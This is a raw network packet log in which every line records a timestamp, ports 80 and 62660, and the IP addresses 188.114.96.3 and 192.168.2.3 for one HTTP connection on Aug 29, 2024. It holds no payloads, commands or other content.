Aug 29, 2024 12:14:39.614034891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614053965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614082098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614084005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614094973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614108086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614113092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614121914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614129066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614145041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614156961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614195108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614207029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614217043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614228964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614229918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614250898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614274979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614550114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614589930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614819050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614830017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614841938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614856005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614869118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614892006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614902973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614913940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614926100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614932060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614944935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614969969 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615191936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615204096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615215063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615231991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615252972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615317106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615329981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615340948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615355968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615358114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615376949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615380049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615387917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615401030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615403891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615426064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615448952 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615472078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615483999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615495920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615509987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615534067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615621090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615632057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615643024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615653992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615660906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615668058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615674973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615680933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615686893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615695000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615706921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615708113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615721941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615745068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615823030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615833044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615844011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615854979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615863085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615868092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615874052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615889072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615902901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615952969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615963936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615973949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.615989923 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.615993977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616005898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616010904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.616020918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616034031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616038084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.616065979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616066933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.616099119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.616112947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616123915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616134882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616144896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.616151094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.616172075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.616194010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632553101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632581949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632592916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632623911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632637978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632673025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632683992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632694960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632705927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632709026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632719040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632734060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632739067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632750034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632756948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632781029 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632805109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632816076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632827044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632838964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632844925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632858992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632880926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.632900000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.632936001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633024931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633035898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633047104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633063078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633090019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633136988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633147955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633158922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633172989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633172989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633193970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633218050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633296013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633306980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633316994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633328915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633337975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633339882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633353949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633358002 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633367062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633377075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633399963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633439064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633450985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633461952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633474112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633480072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633493900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633493900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633517027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633533955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633665085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633676052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633687019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633698940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633707047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633712053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633723974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633730888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633745909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633769035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633795023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633805990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633816004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633826017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633833885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633837938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633850098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633862972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633866072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633873940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633896112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.633970022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633980989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.633991957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.634001017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.634011984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.634027004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.704685926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704716921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704729080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704741955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704761028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704773903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704778910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.704786062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704807043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.704828978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.704884052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704895973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704907894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704921007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704930067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.704933882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.704947948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.704968929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705002069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705013037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705040932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705040932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705053091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705069065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705075026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705101013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705141068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705152988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705164909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705177069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705180883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705190897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705193996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705216885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705723047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705764055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705779076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705790043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705807924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705818892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705822945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705843925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705879927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705892086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705903053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705913067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.705919981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705935001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705955982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.705984116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706017017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706022978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706033945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706053972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706069946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706084013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706095934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706120968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706135988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706146955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706159115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706171989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706186056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706197023 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706217051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706224918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706235886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706245899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706263065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706285000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706305027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706316948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706331015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706345081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706357956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706377029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706389904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706413984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706434965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706487894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706506014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706518888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706526041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706536055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706542015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706552029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706553936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706569910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706573963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706585884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706588984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706595898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706600904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706610918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706613064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706629992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706643105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706692934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706705093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706716061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706724882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706728935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706739902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706753016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706767082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706790924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706803083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706819057 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706831932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706847906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706859112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706877947 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706891060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706902027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706913948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706924915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706929922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706943989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706949949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.706967115 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706983089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.706998110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.707032919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723491907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723520041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723531961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723568916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723581076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723593950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723596096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723607063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723622084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723637104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723699093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723711014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723723888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723728895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723738909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723761082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723779917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723833084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723846912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723860025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723864079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723872900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723881006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723891973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723917961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.723938942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723958015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723968983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.723973036 CEST	62660	80	192.168.2.3	188.114.96.3
